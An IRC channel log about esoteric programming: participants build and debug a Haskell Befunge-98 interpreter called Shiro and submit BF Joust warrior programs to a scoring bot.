23:17:16 <ais523> !bfjoust defend11 http://sprunge.us/WXfE
23:17:24 <Deewiant> elliott__: Aye, but for Shiro in particular
23:17:40 <elliott__> Deewiant: First, implement INTERCAL in Haskell. Second, ...
23:17:45 -!- ais523 has quit (Remote host closed the connection).
23:17:54 <Deewiant> elliott__: IPMD, potentially
23:18:04 <elliott__> What's IPMD
23:18:13 <Deewiant> Switching between unefunge/befunge/trefunge at runtime
23:18:13 <elliott__> Interestingly Phucked Multiple-Dimensionality?
23:18:18 <elliott__> Hey, I was right.
23:18:23 <elliott__> ...I wasn't even trying to be right.
23:18:24 <Deewiant> "IP dimension modes"
23:18:31 <elliott__> Yeah, but I got it right :P
23:18:34 <Deewiant> Yep
23:18:45 <elliott__> Deewiant: Welp, I don't plan to implement 3D/1D/etc. soon.
23:18:53 <elliott__> Deewiant: Probably before TRDS though :-P
23:19:19 <elliott__> Deewiant: Ideally I'll get runtime N-dimensionality without non-negligible overhead
23:19:20 <Deewiant> CCBI2's architecture makes IPMD enough of a pain that I probably won't do it
23:19:32 <elliott__> Switching sounds like a bitch though.
23:19:50 <Deewiant> It'd have to copy over all of Funge-Space to a different structure whenever the dimensionality is switched
23:19:52 <EgoBot> Score for ais523_defend11: 14.0
23:19:57 <Deewiant> Which is just a bit silly
23:20:13 <Deewiant> Rc/Funge-98 gets by because it always uses a 3D funge-space
23:20:18 <elliott__> Heh.
23:20:28 <elliott__> Maybe I'll just always use an infinite-dimensional fungespace.
23:20:32 <elliott__> [1,2,0,0,0,0,0,0,0,...
23:20:38 <elliott__> (That's a coordinate.)
23:20:52 <Vorpal> elliott__, ooh yes you MUST do IFFI or you haven't taken the crown from cfunge :P
23:20:55 <Vorpal> as you said
23:21:03 <elliott__> I'd rather take the crown from CCBI :-P
23:21:08 <elliott__> Or at least be throne buddies.
23:21:38 <elliott__> OK, time to do a bit of cleanup, and then start on fingerprints.
23:21:42 <impomatic> !bfjoust dont_wait http://www.lichttuete.com/temp/a12.txt
23:21:59 <Deewiant> MACR may be tricky as well
23:22:48 -!- augur has quit (Remote host closed the connection).
23:22:49 <elliott__> Deewiant: Mini-Funge I doubt I'll do :P
23:22:58 <Deewiant> That too
23:23:11 <Deewiant> But yeah, that's not very relevant especially given the two conflicting specs
23:23:18 <elliott__> Eh?
23:23:25 <Deewiant> For Mini-Funge
23:23:39 <elliott__> "S ('Shelled') pushes a 0 on the stack if the Perl language is already loaded (e.g. the interpreter is written in Perl). It pushes a 1 on the stack otherwise, indicating that the Perl language will be shelled when needed."
23:23:42 <elliott__> That is the most braindead...
23:23:55 <Deewiant> Why's that
23:24:00 <elliott__> Because it's irrelevant?
23:24:10 <Deewiant> It tells you how fast it is to call to Perl
23:24:21 <Deewiant> You might want to do less of it if S is 1
23:24:23 <elliott__> Who cares about performance :P
23:24:28 -!- poiuy_qwert has joined.
23:24:31 <Deewiant> Everybody
23:24:44 <elliott__> ORTH... RAGE
23:24:55 <Deewiant> What's wrong with ORTH? :-D
23:24:58 <elliott__> I love how it fails to specify what the Orthogonal instructions do, you know, in case there's AMBIGUITY.
23:25:05 <Deewiant> Oh, that :-D
23:25:06 <EgoBot> Score for impomatic_dont_wait: 46.8
23:25:08 <Deewiant> Just dig up the ORTH spec
23:25:10 <Deewiant> Er
23:25:11 <elliott__> >>>Z?ramp if zero
23:25:11 <elliott__> WHAT THE FUCK IS RAMP
23:25:12 <Deewiant> Orthogonal*
23:25:17 <Deewiant> It's #
23:25:56 <elliott__> Does any fingerprint store global state independent of IPs?
23:26:02 <Deewiant> Yes
23:26:06 <elliott__> >_<
23:26:07 <elliott__> e.g.?
23:26:16 <Deewiant> Hmm
23:26:30 <Deewiant> REFC
23:26:46 <Deewiant> SUBR
23:26:48 <Deewiant> TIME
23:26:49 <Deewiant> TRDS
23:26:58 <elliott__> Deewiant: FML
23:27:07 <elliott__> New fingerprint:
23:27:08 <elliott__> HATE
23:27:09 <impomatic> !bfjoust dont_wait http://www.lichttuete.com/temp/a12.txt
23:27:09 <Deewiant> TRDS shouldn't've been a surprise, at least ;-)
23:27:33 <elliott__> A-Z all take on random Funge-98 meanings. Every other instruction gets remapped so that it has a 1/10 chance of going to the start of program execution,
23:27:44 <Deewiant> TRDS actually adds four fields to my FungeState struct
23:27:45 <elliott__> and repeating the program as if all operations that take two arguments took them in the wrong order,
23:27:58 <elliott__> and as if every vector popped was negated.
23:28:03 <Deewiant> Well, three, if the tracer's compiled in
23:28:10 <Deewiant> version (tracer) ulong tick = 0;
23:28:11 <Deewiant> else version (TRDS) ulong tick = 0;
23:28:24 <elliott__> When program execution completes or the program goes into any kind of infinite loop, the instruction reflects in the present, and the stack generated by the re-run is pushed to the stack stack.
23:28:30 <elliott__> (ANY kind of infinite loop.)
23:28:46 <elliott__> Deewiant: When will it be implemented
23:28:53 <Deewiant> Never
23:28:57 <elliott__> Deewiant: Why
23:29:03 <elliott__> Is it because you're lame?
23:29:04 <Deewiant> Not very useful
23:29:11 <elliott__> Deewiant: You forgot "requires halting oracle"
23:29:19 <elliott__> Or is that no problem for CBBI
23:29:29 <Deewiant> I actually didn't read the last two lines at all
23:29:41 <elliott__> :-D
23:29:50 <Deewiant> Oh, and then there's the IO stuff that adds state
23:29:54 <Deewiant> FILE, for instance
23:30:09 <Vorpal> Deewiant, FILE handles *may* be local to an IP
23:30:14 <elliott__> X-D
23:30:14 <Vorpal> it isn't really specced
23:30:19 <Deewiant> True
23:30:23 <elliott__> I'm going to clean up my code and then integrate my fingerprint code.
23:30:26 <Deewiant> But that doesn't seem like useful behaviour
23:30:49 <elliott__> I wonder what to split interpreter into
23:30:50 <Vorpal> Deewiant, I planned a DS9K implementation of FILE in efunge. Adding tagged funge space values. So you can't just create that handle anyhow
23:30:52 <elliott__> Interpreter and CoreInstructions?
23:31:13 <Vorpal> Deewiant, basically passing the whole FILE data required along with the value
23:31:30 <Vorpal> Deewiant, would you hate that?
23:31:37 <Vorpal> Deewiant, would mycology survive it?
23:31:49 <Deewiant> I don't understand what you mean
23:31:54 -!- yorick has quit (Read error: Connection reset by peer).
23:31:56 <Deewiant> A typed funge-space, instead of everything being a cell?
23:32:00 <Vorpal> Deewiant, yep
23:32:04 <EgoBot> Score for impomatic_dont_wait: 46.6
23:32:11 <Deewiant> I don't think that's valid
23:32:11 <elliott__> Vorpal: That disobeys the spec.
23:32:13 <elliott__> Any questions?
23:32:19 <Vorpal> elliott__, not the FILE spec
23:32:28 <elliott__> Vorpal: No, but it wouldn't be a Funge-98 implementation.
23:32:49 <Vorpal> elliott__, but FILE is of course feral in this model!
23:32:53 <Deewiant> I guess he could argue that his FILE is feral and messes up all other instructions
23:32:59 <Vorpal> Deewiant, quite :P
23:33:08 <elliott__> Feral != breaks the spec
23:33:11 <Vorpal> anyway it is too much work to do it that way
23:33:14 <elliott__> Feral == obeys the spec but breaks all kinds of sanity
23:33:17 <Vorpal> elliott__, feral *might* break the spec
23:33:28 <elliott__> Really? So FNGR is just feral, not broken?
23:33:30 <elliott__> I don't think so.
23:33:31 <Vorpal> elliott__, it is perfectly legal for it. But only when in use
23:33:32 <Deewiant> Yes
23:33:36 <Deewiant> MODE is similar
23:33:45 <Vorpal> elliott__, correct since it is now defined to enter a separate mode
23:33:52 <Deewiant> MODE changes how just about every instruction works
23:33:57 <Vorpal> yeah
23:34:14 <Deewiant> And that's even a Cat's Eye fingerprint, so you can't make too strong an argument against it ;-)
23:34:18 <elliott__> How many fingerprints did HsFunge implement?
23:34:24 <Deewiant> None, I believe
23:34:27 <Deewiant> Or maybe NULL and ROMA or so
23:34:35 <elliott__> Ha, Shiro is going to be like ten times better
23:34:41 <elliott__> Deewiant: How fast did it run Mycology? :-P
23:34:49 <Deewiant> Okay, scratch that
23:34:54 <impomatic> !bfjoust dont_wait http://www.lichttuete.com/temp/a12.txt
23:35:07 <elliott__> I'm scratching it
23:35:23 <Deewiant> HRTI MODE MODU NULL ORTH PERL REFC ROMA TOYS BASE CPLI DATE DIRF EVAR FILE FING FIXP FPDP FPSP FRTH IIPC IMAP INDV SETS STRN SUBR TIME JSTR
23:35:36 <elliott__> Deewiant: "None"
23:35:41 <Deewiant> $ wc -l Fingerprints.hs
23:35:41 <Deewiant> 1376 Fingerprints.hs
23:35:45 <Deewiant> I thought it was none :-P
23:35:47 <elliott__> Deewiant: How fast did HsFunge pass mycology? Like, without fingerprints :P
23:35:51 <elliott__> Deewiant: Fingerprints.hs? Pfft
23:35:55 <elliott__> I see he doesn't use my amazing system
23:36:04 <Deewiant> I don't see a way of disabling fingerprints
23:36:07 <Deewiant> $ ./Main --help
23:36:07 <Deewiant> Main: --help: openFile: does not exist (No such file or directory)
23:36:14 <Vorpal> Deewiant, anyway I argue that doing 0,1,2 and such for normal values but then doing surprises like {0,<file data>} for a file handle is perfectly okay. If funge code tries to output or increment or anything then the first member of the tuple gets modified. But the whole tuple is copied, written with p, fetched with g and so on
23:36:32 <elliott__> Deewiant: With fingerprints, then?
23:36:34 <Vorpal> Deewiant, might give all open files the value 0 this way
23:36:36 <Vorpal> Deewiant, :D
23:36:45 <Deewiant> Main: mycology.b98: hGetContents: invalid argument (Invalid or incomplete multibyte or wide character)
23:36:49 <Deewiant> Guess it doesn't run it at all
23:36:57 <Deewiant> Maybe it will with a recompile from 6.12
23:36:57 <elliott__> Deewiant: Designed for older GHC
23:37:03 <elliott__> Deewiant: Try 6.8
23:37:10 <Deewiant> It's built in 2010-05
23:37:10 <elliott__> Deewiant: You need a pre-Unicode IO system
23:37:18 <Vorpal> elliott__, why don't you your self
23:37:24 <Vorpal> yourself*
23:37:25 <elliott__> Vorpal: Umm, because he's the one who wants to test HsFunge
23:37:27 <Vorpal> ah
23:37:30 <elliott__> Well
23:37:32 <elliott__> I want to know the answer
23:37:34 <elliott__> But he's the one doing it
23:37:36 <elliott__> s/ $//
23:37:36 <Vorpal> elliott__, :P
23:37:45 <EgoBot> Score for impomatic_dont_wait: 49.1
23:37:51 <elliott__> impomatic: congratulations
23:38:04 <Deewiant> elliott__: I thought handles defaulted to latin1?
23:38:15 <elliott__> Deewiant: Nope, UTF-8
23:38:26 <elliott__> Deewiant: Try hSetBinaryMode fileHandle True
23:38:30 <elliott__> Deewiant: Or s/openFile/openBinaryFile/
23:38:33 <elliott__> :t readBinaryFile
23:38:34 <lambdabot> Not in scope: `readBinaryFile'
23:38:38 <elliott__> You might have to make it manually open the file.
23:38:42 <elliott__> If it uses readFile.
23:38:49 <Deewiant> runFile file = readFile file >>= runString
23:39:08 <elliott__> Deewiant: runFile file = do fh <- openBinaryFile file; poop <- hGetContents fh; runString poop
23:39:12 <elliott__> That's a bit unfair, since it loads lazily
23:39:19 <elliott__> Deewiant: runFile file = do fh <- openBinaryFile file; poop <- hGetContents fh; print poop; runString poop
23:39:20 <elliott__> There
23:39:24 <Deewiant> readFile loads lazily
23:39:29 <elliott__> Deewiant: Oh, right
23:39:32 <elliott__> The first then
23:39:39 <impomatic> elliott__: thanks :-) It was supposed to score worse than egodeath though to prove egodeath is effective :-(
23:40:41 <Deewiant> runFile file = withBinaryFile file ReadMode (hGetContents >=> runString)
23:40:53 <elliott__> Deewiant: Deewiant "Fancy McFancyPants" Deewiant
23:41:03 <Vorpal> elliott__, wtf is >=>
23:41:08 <elliott__> :t (>=>)
23:41:09 <lambdabot> forall a (m :: * -> *) b c. (Monad m) => (a -> m b) -> (b -> m c) -> a -> m c
23:41:15 <elliott__> One of the 2398723498723947239479234 functor-applicative-or-monad combinators.
23:41:19 <Vorpal> elliott__, :D
23:41:27 <Deewiant> elliott__: 2.3 seconds and it crashes in the FING test
23:41:31 <elliott__> Vorpal: One exists for every purpose except the one thing you're trying to accomplish now.
23:41:33 <Vorpal> elliott__, I believe that count was a bit on the low side
23:41:36 <elliott__> Deewiant: Gut Fingerprints.hs :P
23:41:51 <Deewiant> 4.5 seconds after removing *.tmp
23:42:29 <elliott__> Deewiant: How is it faster than me.
23:42:38 <elliott__> Deewiant: Does it shrink bounds?
23:42:42 -!- Ilari_antrcomp has quit (Ping timeout: 260 seconds).
23:42:42 -!- Ilari has quit (Ping timeout: 260 seconds).
23:42:48 <Deewiant> No fingerprints: 4.12 seconds
23:42:53 <elliott__> <elliott__> Deewiant: Does it shrink bounds?
23:42:57 <Vorpal> elliott__, does >=> have some descriptive name? I'm still not that good at figuring out what stuff does from the type signature alone
23:43:08 <Deewiant> There's noticeable lag between BAD: form feed reflects and BAD: after spacing top-left corner, y should report greatest point as ( 182 910 ), not ( 181 910 )
23:43:21 <elliott__> Vorpal: (someMonadicFunction >=> someMonadicFunctionTakingTheFirstOne'sResult) inputToFirstOne
23:43:27 <elliott__> --> result of second function
23:43:40 <elliott__> Deewiant: Good, so it's shit and Shiro is 10x better
23:43:42 <Deewiant> It also says That the greatest point, relative to that point, is ( 181 910 ) BAD: should have been ( 183 911 )
23:43:49 <elliott__> Ha ha ha
23:43:50 <elliott__> It's SHIT
23:43:54 <elliott__> Worst shit in the history of: shit
23:43:56 <Deewiant> UNDEF: # across left edge skips easternmost cell in file, tut-tut
23:43:58 <Vorpal> elliott__, I get "not in scope" for >=> locally
23:44:03 <Vorpal> :i (>=>)
23:44:03 <elliott__> Vorpal: import Control.Monad
23:44:07 <Vorpal> elliott__, aha
23:44:12 <elliott__> Deewiant: God
23:44:16 <elliott__> Deewiant: It's like someone decided
23:44:18 <elliott__> HEY I'MMA MAKE THE WORST FUNGE
23:44:20 <elliott__> AND THEN DID IT
23:44:20 <elliott__> SHIRO
23:44:21 <impomatic> !bfjoust Nyarlathotep http://www.lichttuete.com/temp/a12.txt
23:44:22 <elliott__> SHIRO IS WHAT YOU NEED
23:44:22 -!- augur has joined.
23:44:24 <elliott__> FOREVER SHIRO
23:44:28 <impomatic> !bfjoust dont_wait <
23:44:59 <Vorpal> impomatic, dont_wait was good
23:45:01 <Vorpal> impomatic, why remote it
23:45:21 <impomatic> Vorpal: the name was rubbish, just renaming it ;-)
23:45:35 <Vorpal> impomatic, also is "Nyarlathotep" a pharaoh or something?
23:45:41 <Vorpal> it sounds like it might be
23:45:56 <impomatic> A friend of Cthulhu :-)
23:46:00 <Vorpal> oh
23:46:09 <Deewiant> Having an Egyptian-sounding name does not one a pharaoh make
23:47:24 <elliott__> Totally does
23:47:25 <nescience> !bfjoust hopscotch (>[(>[([>[-]])*31])*31])*31
23:47:55 <nescience> this is hard to mess about with on a phone!
23:47:59 <impomatic> Strangely enough Nyarlathotep is known as the Black Pharaoh in one of the books :-)
23:48:38 <elliott__> Woo, Shiro is becoming a real program
23:48:42 <Deewiant> They all have a billion names so I'm hardly surprised
23:48:43 <elliott__> i.e. main is moving out of Interpreter.hs
23:48:44 <Vorpal> impomatic, it *sounds* very Egyptian
23:48:53 <elliott__> I'm even giving it
23:48:54 <elliott__> wait for it
23:48:56 <elliott__> COMMAND LINE ARGUMENTS
23:48:58 <elliott__> HOLY SHIT
23:49:14 -!- Ilari has joined.
23:49:16 <Vorpal> elliott__, fix the y stuff then!
23:49:18 <Vorpal> night →
23:49:25 <elliott__> Vorpal: It does the environment.
23:49:28 <EgoBot> Score for impomatic_Nyarlathotep: 49.1
23:49:28 <EgoBot> Score for impomatic_dont_wait: 0.0
23:49:29 <Vorpal> elliott__, tell me when you put it in version control
23:49:31 <elliott__> It'll do arguments after this cleanup is through.
23:49:32 <EgoBot> Score for nescience_hopscotch: 20.7
23:49:34 <Vorpal> night!
23:49:35 <elliott__> Vorpal: That won't happen until 1.0.
23:49:36 -!- Ilari_antrcomp has joined.
23:49:41 <elliott__> I'm like Deewiant in that respect :P
23:49:42 <coppro> wtf
23:49:59 <Deewiant> I didn't version control CCBI until 1.0.4a
23:49:59 <coppro> elliott__: you aren't registered
23:50:03 <nescience> !bfjoust hopscotch (>[(>[([>[[-]]+])*31])*31])*31
23:50:15 <Deewiant> And I didn't save old zips so I don't have anything older
23:50:18 <EgoBot> Score for nescience_hopscotch: 28.0
23:51:22 <elliott__> Deewiant: DING DING DING NEW DEPENDENCY
23:52:49 <Deewiant> elliott__: Does http://tar.us.to:1234/forks.b98 work?
23:53:02 <elliott__> Deewiant: Let me finish moving Main out first :P
23:53:06 <elliott__> Deewiant: I'm scared though.
23:53:27 <elliott__> Deewiant: How long will it take with a slow-ish t?
23:53:29 <impomatic> !bfjoust hound_of_tindalos (-)*999999(>)*9([-]>)*21
23:53:42 <Deewiant> elliott__: If that takes long, good luck with Fungicide :-D
23:53:56 <Deewiant> Spent: 21 ticks
23:53:56 <Deewiant> Encountered: 292 instructions
23:54:16 <elliott__> Deewiant: Oh, that should work then.
23:54:29 <elliott__> Let me get a command-line first :P
23:55:18 -!- joo has joined.
23:55:22 <EgoBot> Score for impomatic_hound_of_tindalos: 17.3
23:57:07 <elliott__> Module imports form a cycle for modules:
23:57:07 <elliott__> Shiro.Instructions (./Shiro/Instructions.hs)
23:57:07 <elliott__> imports: Shiro.Interpreter
23:57:07 <elliott__> Shiro.Interpreter (./Shiro/Interpreter.hs)
23:57:07 <elliott__> imports: Shiro.Instructions
23:57:09 <elliott__> Gah, that isn't allowed?
23:57:26 <Deewiant> You need .hs-boot files
23:57:31 <Deewiant> Or preferably, a lack of cycles
23:57:39 <elliott__> Deewiant: What should I name the file containing functions the interpreter uses, like nextPos, wrap, advance, reflect, but not the actual interpret function?
23:57:46 <Deewiant> Utils
23:57:50 <elliott__> Deewiant: >_<
23:57:51 <elliott__> Okay.
23:59:40 <elliott__> Deewiant: Yay, I have an actual circular dependency.
2011-02-09
00:00:17 <Deewiant> Well done
00:02:08 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
00:02:26 <elliott__> $ ./shiro forks.b98
00:02:26 <elliott__> Hello, from Concurrent Befunge!
00:02:27 <elliott__> shiro: Shiro/Monad.hs:82:35-63: Non-exhaustive patterns in lambda
00:02:31 <elliott__> Deewiant: No comment.
00:02:35 <Deewiant> :-D
00:02:54 <elliott__> modifyCurrentIP :: (IP -> IP) -> Shiro ()
00:02:54 <elliott__> modifyCurrentIP f = modifyIPList $ \(ip:xs, r) -> (f ip : xs, r)
00:02:58 <elliott__> Ah.
00:03:16 <elliott__> (ips,_) <- gets ipList
00:03:16 <elliott__> when (null ips) $ io exitSuccess
00:03:21 <elliott__> Deewiant: Does any fingerprint kill an IP?
00:03:24 <elliott__> Or can I put that into the @ code?
00:03:56 <Deewiant> I don't think any can kill them as such, but TRDS and IIPC do things that you might want to implement by moving IPs out of the list
00:04:08 <elliott__> Mmm. Well, whatever.
00:04:10 <elliott__> elliott@elliott-MacBookAir:~/Code/shiro$ ./shiro forks.b98
00:04:10 <elliott__> Hello, from Concurrent Befunge!
00:04:10 <elliott__> elliott@elliott-MacBookAir:~/Code/shiro$
00:04:12 <elliott__> Deewiant: Yep.
00:04:19 <Deewiant> Aye.
00:04:56 <elliott__> Nice, GHC's compiles are nondeterministic.
00:04:59 <elliott__> i.e. recompiling == different hash.
00:05:42 <elliott__> elliott@elliott-MacBookAir:~/Code/shiro$ ./shiro shiro
00:05:42 <elliott__> Stack space overflow: current size 8388608 bytes.
00:05:42 <elliott__> Use `+RTS -Ksize -RTS' to increase it.
00:05:47 <elliott__> That's not good. :p
00:06:03 <Deewiant> Memory use profiling time
00:06:50 <elliott__> Deewiant: Naw.
00:06:55 <elliott__> I'll wait until that happens on an actual program.
00:07:04 <elliott__> COST CENTRE MODULE %time %alloc
00:07:04 <elliott__> doNextIns Shiro.Interpreter 100.0 7.3
00:07:04 <elliott__> --trace of forks.b98.
00:07:09 <elliott__> Strangely even coreIns is 0%.
00:08:39 <elliott__> Deewiant: Oh, and on Mycology:
00:08:43 <elliott__> COST CENTRE MODULE %time %alloc
00:08:43 <elliott__> insertFS Shiro.FungeSpace 85.8 91.5
00:08:43 <elliott__> modifyIPList Shiro.Monad 3.1 3.5
00:08:44 <elliott__> !@ Shiro.FungeSpace 3.1 0.1
00:08:44 <elliott__> coreIns Shiro.Interpreter 3.1 1.2
00:08:44 <elliott__> doNextIns Shiro.Interpreter 1.1 0.8
00:08:50 <elliott__> tl;dr if I didn't recalculate bounds, I would be a freaking speed demon.
00:08:55 <Deewiant> heh
00:09:45 <elliott__> mergeByteString Shiro.FungeSpace 367 685207 0.6 1.0 9.2 5.0
00:09:46 <elliott__> insertFS Shiro.FungeSpace 374 75489 8.7 4.0 8.7 4.0
00:10:37 <elliott__> Deewiant: OK, time to start implementing fingerprints.
00:10:54 <elliott__> Deewiant: I did _not_ expect to get this far. Especially not in three days.
00:10:55 -!- elliott__ has changed nick to elliott.
00:10:59 -!- elliott has quit (Changing host).
00:10:59 -!- elliott has joined.
00:12:14 <elliott> Time to integrate fptest.hs.
00:12:23 <elliott> Deewiant: Say, would you like a file that causes an internal error in GHC 6.12.3?
00:12:34 <Deewiant> Not in particular, but the GHC devs probably would
00:12:34 <elliott> It's a very short file.
00:12:47 <elliott> Deewiant: I'd have to test it with 7.0 to make a bug report and that sounds like a pain :P
00:13:04 <Deewiant> No you wouldn't :-P
00:13:12 <Deewiant> You can just report it against 6.12.3 and somebody else will
00:13:15 <elliott> [1 of 1] Compiling Main ( fptest.hs.ghcinternalerror.hs, interpreted )
00:13:15 <elliott> ghc: panic! (the 'impossible' happened)
00:13:15 <elliott> (GHC version 6.12.3 for x86_64-unknown-linux):
00:13:15 <elliott> TcTyFuns.flattenType: synonym family in a rank-n type
00:13:15 <elliott> Please report this as a GHC bug: http://www.haskell.org/ghc/reportabug
00:13:16 <elliott> >
00:13:25 <Deewiant> "Impossible happened" bugs tend to get attention anyway
00:13:33 <elliott> That's a rather odd definition of impossible, since you can just code that directly :-)
00:13:35 -!- BeholdMyGlory has quit (Remote host closed the connection).
00:13:40 <Deewiant> Although given that description, it's probably just unimplemented and thus known
00:13:46 <elliott> Yeah.
00:13:58 <elliott> It was a pretty crazy thing to do, anyway :P
00:13:59 <Deewiant> Still, there might not be a ticket tracking it
00:14:04 <elliott> Yeah, yeah, I'll do it later :P
00:15:18 <elliott> {-# LANGUAGE TypeFamilies, ExistentialQuantification, FlexibleContexts, DeriveDataTypeable, StandaloneDeriving #-}
00:15:21 * elliott cracks knuckles
00:16:31 <elliott> type FPIPState fp
00:16:32 <elliott> fpInitialIPState :: fp -> FPIPState fp
00:16:36 <elliott> I'm just going to clone all fingerprint state for now :-P
00:17:16 <elliott> fpHandles :: fp -> [FPIns]
00:17:18 <elliott> Augh, that name irks me.
00:21:34 <elliott> Deewiant: What do you call it when one module is more elegant than the rest of your program?
00:23:13 <Deewiant> I don't call it anything
00:23:25 <elliott> You call it "oh yeah, this is the one I drafted up separately".
00:25:42 <joo> racism
00:26:12 <Deewiant> Bedtime
00:26:18 -!- cheater- has joined.
00:29:19 -!- cheater00 has quit (Ping timeout: 240 seconds).
00:32:16 -!- myndzi has changed nick to myndzi\.
00:32:28 -!- myndzi\ has changed nick to myndzi.
00:33:12 <myndzi> think i broke bfjoust again? :|
00:33:41 <myndzi> nm
00:33:44 <myndzi> it just caught up
00:34:56 <myndzi> !bfjoust careless >+++++>+++++>----->----->+>->>>((>[(-)*126(-.)*3)*22(])*22)*22
00:35:33 <EgoBot> Score for myndzi_careless: 59.1
00:39:08 <elliott> joo: indeed
00:43:49 -!- Mathnerd314 has quit (Ping timeout: 250 seconds).
00:46:10 <quintopia> holy crap
00:46:12 <quintopia> nice score
00:46:16 -!- cal153 has quit (Ping timeout: 265 seconds).
00:46:24 * myndzi bows
00:46:25 <myndzi> :P
00:46:32 <myndzi> straight to the ... TOP
00:47:06 <quintopia> !bfjoust juggernaut_bitch (.)*48(>[-[++[>>>[>(+)*20[[-]]+]]]](+)*13>[-[++[>>>>>[>(+)*20[[-]]+]]]](-)*13)*11
00:47:19 <quintopia> owait
00:47:28 <EgoBot> Score for quintopia_juggernaut_bitch: 12.9
00:47:29 <quintopia> that's wrong >_>
00:47:37 <quintopia> !bfjoust juggernaut_bitch (.)*48(>[-[++[>>>[>(+)*20[[-]]+]]]](+)*13>[-[++[>>>[>(+)*20[[-]]+]]]](-)*13)*11
00:48:02 <EgoBot> Score for quintopia_juggernaut_bitch: 12.7
00:48:08 <quintopia> lul
00:48:27 <quintopia> !bfjoust juggernaut_bitch (.)*48(>[-[++[>>>>>[>(+)*20[[-]]+]]]](+)*13>[-[++[>>>>>[>(+)*20[[-]]+]]]](-)*13)*11
00:48:46 <EgoBot> Score for quintopia_juggernaut_bitch: 14.2
00:50:40 <myndzi> i have a fun idea but i don't really want to flesh it out
00:52:02 <quintopia> which is
00:52:13 <Gregor> Observation: pizzicato and harpsichord are not the same.
00:52:21 <elliott> orly
00:52:35 <quintopia> Gregor: wat. vivaldi could have told you that :P
00:53:18 <quintopia> next thing you're gonna tell me harps and pizzicato don't sound the same! and banjos and pizzicato!
00:53:52 <Gregor> I'm trying to recover a passage that I added insufficient tension to by adding a harpsichord, which worked well but I'm kind of against because it would be a 30-second harpsichord solo inexplicably, so I was hoping I could "port" it to pizzicato (which I do have, but isn't playing there) and although it obviously wouldn't be the same, it would have sufficient effect.
00:53:53 <myndzi> !bfjoust tag http://24.19.39.178/tag
00:53:54 <Gregor> It did not.
00:54:37 <elliott> Gregor: 30-second harpischord solo... come on. Yes.
00:54:42 <EgoBot> Score for myndzi_tag: 3.6
00:54:45 <elliott> Do it.
00:54:46 <myndzi> lol
00:54:51 <myndzi> i must have done something terribly wrong
00:55:04 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
00:55:14 <Gregor> elliott: By "solo" I do not mean "playing alone", I mean "primary instrument" :P
00:55:26 <Gregor> elliott: And my concerns with the solo was that the instrument appears nowhere else :P
00:56:41 <myndzi> i have no idea what is wrong with it though, and that's why i didn't want to flesh it out :P
00:56:43 <myndzi> confusing!
00:56:56 <myndzi> lol it beats two of impomatic's though
00:57:33 <myndzi> i should have used a simpler/better attack perhaps, but since it's supposed to set off the tripwire on defend-style programs that wouldn't work well
00:57:35 <myndzi> o well
00:57:38 <myndzi> !bfjoust tag <
00:57:47 <EgoBot> Score for myndzi_tag: 0.0
00:58:37 <elliott> Gregor: Just make it go completely harpischord out of nowhere for 30 seconds with nothing else.
00:58:42 <elliott> And then back to normal like nothing happened.
00:58:57 <quintopia> yes
00:59:06 <quintopia> and the harpsichord should be played ragtime
00:59:18 <quintopia> ragtime is VERY TENSION
00:59:23 <myndzi> talk about spam, he's got like 7 programs on there that are almost the same damn thing D:
00:59:29 <elliott> myndzi: he
00:59:31 <Gregor> elliott: 'snot happening :P
00:59:31 <elliott> ?
00:59:35 <myndzi> impomatic
00:59:38 <elliott> quintopia: It is, yes.
01:00:09 <quintopia> elliott: you share knowledge tension gregor and then
01:00:20 <quintopia> elliott: VERY TENSION
01:00:47 <elliott> Gregor: Ha ha your language sucks
01:01:06 -!- nescience has quit (Quit: -a-).
01:01:15 -!- myndzi has changed nick to nescience.
01:01:32 -!- hagb4rd has quit (Quit: hagb4rd).
01:01:43 -!- sixdej has left (?).
01:05:20 <elliott> You know what's awesome?
01:05:28 -!- Mathnerd314 has joined.
01:05:57 <quintopia> sex
01:06:54 <elliott> Module imports form a cycle for modules:
01:06:54 <elliott> Shiro.Fingerprint (Shiro/Fingerprint.hs)
01:06:54 <elliott> imports: Shiro.Monad Shiro.FungeSpace Shiro.IP
01:06:54 <elliott> Shiro.Monad (./Shiro/Monad.hs)
01:06:55 <elliott> imports: Shiro.Fingerprint[boot]
01:06:57 <elliott> Shiro.IP Shiro.FungeSpace
01:06:58 <elliott> Shiro.IP (./Shiro/IP.hs)
01:07:01 <elliott> imports: Shiro.Fingerprint
01:07:03 <elliott> Shiro.FungeSpace (./Shiro/FungeSpace.hs)
01:07:05 <elliott> imports: Shiro.IP
01:07:06 <elliott> Failed, modules loaded: Shiro.Value, Shiro.Stack.
01:07:09 <elliott> quintopia: Mutually recursive modules despite just writing an hs-boot file to stop that.
01:07:39 <quintopia> !bfjoust slowermonorail (>+>-)*2(+)*20>(-)*20>+>->++>([(..-)*20[+]]>)*20
01:08:01 <EgoBot> Score for quintopia_slowermonorail: 25.4
01:08:13 <quintopia> a slight improvement i think...
01:08:32 <quintopia> oh, no, my mistake.
01:08:58 <elliott> I'd just like to share this compiler error with you all: http://hpaste.org/43798/aaaargh
01:09:32 <quintopia> !bfjoust slowermonorail (>+>-)*2(+)*20>>+>->++>([(..-)*20[+]]>)*20
01:10:02 <EgoBot> Score for quintopia_slowermonorail: 22.8
01:10:02 <quintopia> !bfjoust slowermonorail (>+>-)*2>(+)*20>>+>->++>([(..-)*20[+]]>)*20
01:11:18 <EgoBot> Score for quintopia_slowermonorail: 24.5
01:13:50 <quintopia> !bfjoust slowermonorail (>+>-)*2>>>+>->++>([(..-)*20[+]]>)*20
01:14:22 <EgoBot> Score for quintopia_slowermonorail: 26.2
01:14:34 <quintopia> huh
01:15:08 <quintopia> !bfjoust slowermonorail (>+>-)*2>(+)*39>(-)*39>+>->++>([(..-)*20[+]]>)*20
01:16:44 <EgoBot> Score for quintopia_slowermonorail: 24.3
01:18:49 <quintopia> !bfjoust slowermonorail (>+>-)*2>>>>>++<-<+<(+)*39<(-)*39>>>>([(..-)*20[+]]>)*20
01:19:31 -!- nescience has changed nick to myndzi.
01:19:40 <EgoBot> Score for quintopia_slowermonorail: 20.2
01:21:29 -!- cal153 has joined.
01:21:43 <quintopia> !bfjoust slowermonorail >>>>>>>>++++>---->([(..-)*20[+]]>)*20
01:22:15 <EgoBot> Score for quintopia_slowermonorail: 16.8
01:22:53 <quintopia> !bfjoust slowermonorail >->+>>>>>>++++>---->([(..-)*20[+]]>)*20
01:23:37 <EgoBot> Score for quintopia_slowermonorail: 22.8
